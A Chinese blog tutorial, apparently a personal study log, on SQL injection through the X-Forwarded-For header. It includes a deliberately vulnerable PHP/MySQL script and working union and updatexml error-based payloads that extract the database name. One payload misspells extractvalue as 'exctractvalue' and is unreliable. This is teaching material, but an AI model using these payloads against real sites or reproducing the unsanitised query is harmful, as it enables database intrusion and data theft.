XFF頭注入原理分析

目錄

 

 

前言:

 

正文

0x01:xff頭源碼以及形成

0x02    xff注入方式

第一種 union注入

           1)爆出庫名

第二種 報錯注入(updatexml & exctractvalue)


 

前言:

關於SQL注入還有好多種,前面寫的都是基於mysql環境下,接下來會更新其他數據庫該如何注入

但是前面的得認真觀看,以及源碼,運行流程,與形成

寫完後將會寫代碼審計

預計路線

黑盒測試 -> 白盒測試(代碼審計)-> 內網滲透 -> 等等,有可能會更新python寫工具,也可能往二進制或者近源滲透

這上面是路線,我將會不斷的更新。這樣以後查資料就不會到處百度了。(博客所寫,僅記錄每天學習)

 

正文

0x01:xff頭源碼以及形成

<?php
  $con=mysqli_connect("localhost","root","root","test");
  if (mysqli_connect_errno())
  {
  	echo "連接失敗: " . mysqli_connect_error();
  }
 
  if(getenv('HTTP_CLIENT_IP')) {
    $ip = getenv('HTTP_CLIENT_IP');
  } elseif(getenv('HTTP_X_FORWARDED_FOR')) {
    $ip = getenv('HTTP_X_FORWARDED_FOR');
  } elseif(getenv('REMOTE_ADDR')) {
    $ip = getenv('REMOTE_ADDR');
  } else {
    $ip = $HTTP_SERVER_VARS['REMOTE_ADDR'];
  }
 
  $result = mysqli_query($con,"select * from user where `ip`='$ip'");
  if (!$result) {
    printf("Error: %s\n", mysqli_error($con));
    exit();
  }
  $row = mysqli_fetch_array($result);
  echo $row['username'] . " : " . $row['password'];
  echo "<br>";
?>
 

這裏遇到了一些預定義變量了,很陌生。但是不慌~~

然而一段if語句,只是獲取客戶端ip,可以點擊這裏進行查看

getenv(' HTTP_CLIENT_IP ')是獲取當前客戶端的IP 

如果你用代理服務器接訪問的,,它記錄的就是代理服務器的IP,而不是真實的用戶IP

也就是說,這個ip地址可以進行僞造的

HTTP_CLIENT_IP:                    獲取當前客戶端的IP 

HTTP_X_FORWARDED_FOR: 瀏覽當前頁面的用戶計算機的網關

REMOTE_ADDR:                      瀏覽當前頁面的用戶計算機的ip地址

getenv() :                                   獲取當前系統的環境變量

$HTTP_SERVER_VARS['REMOTE_ADDR']:它是將 tcp/ip 數據包中的 ip 提取出來供參考的

獲取真實ip的php代碼 點擊 這裏

也就說,這些ip並不可以獲取到真實ip

首先是if判斷

如果HTTP_CLIENT_IP 存在,則賦值給 $ip

如果 HTTP_X_FORWARDED_FOR 存在,則賦值 $ip

如果  REMOTE_ADDR  存在,則賦值 $ip

否則 賦值 tcp/ip數據包(也就是握手包)中的ip,給$ip

 

0x02 xff注入方式

xff注入的步驟與前面的 聯合查詢注入一樣,同意也可以使用head注入,head前面解釋過了。使用的是報錯函數

xff注入的兩種手法

第一種 union注入

首先是使用union注入,這裏需要閉合掉單引號,否則會報錯

我們首先僞造個xff頭,這時候我們對比2圖。發現獲取的ip都不一樣。這時候就可以進行xff頭注入

X-Forwarded-for: 127.0.0.1

 

1)爆出庫名

首先進行and 1=1 & and 1=2判斷。發現回顯在意料之中,

然後再使用 order by 判斷字段數即可

 

跟前面的一樣,沒啥區別,成功的爆出了庫名,庫名爲test

這時候就是查詢表名了。因爲和前面的一樣,所以我就不演示了,只是傳參方式不一樣

X-Forwarded-for: 127.0.0.1' and 1=2 union select 1,database(),3#

 

 

第二種 報錯注入(updatexml & exctractvalue)

因爲報錯注入無需判斷字段啥的,所以就直接的醬紫了

X-Forwarded-for: 127.0.0.1' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

這裏的話也可以使用另外一個函數 exctactvalue()

X-Forwarded-for: 127.0.0.1' and exctractvalue(1,concat(0x7e,(database()),0x7e))#

當然,這邊的話報錯注入有十個,記住一些常用的就好。記不住就百度

嘿嘿

 

文末:

似乎沒啥好說的,xff和前面的一樣。接下來更新數據庫注入了

 

 

 

 

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章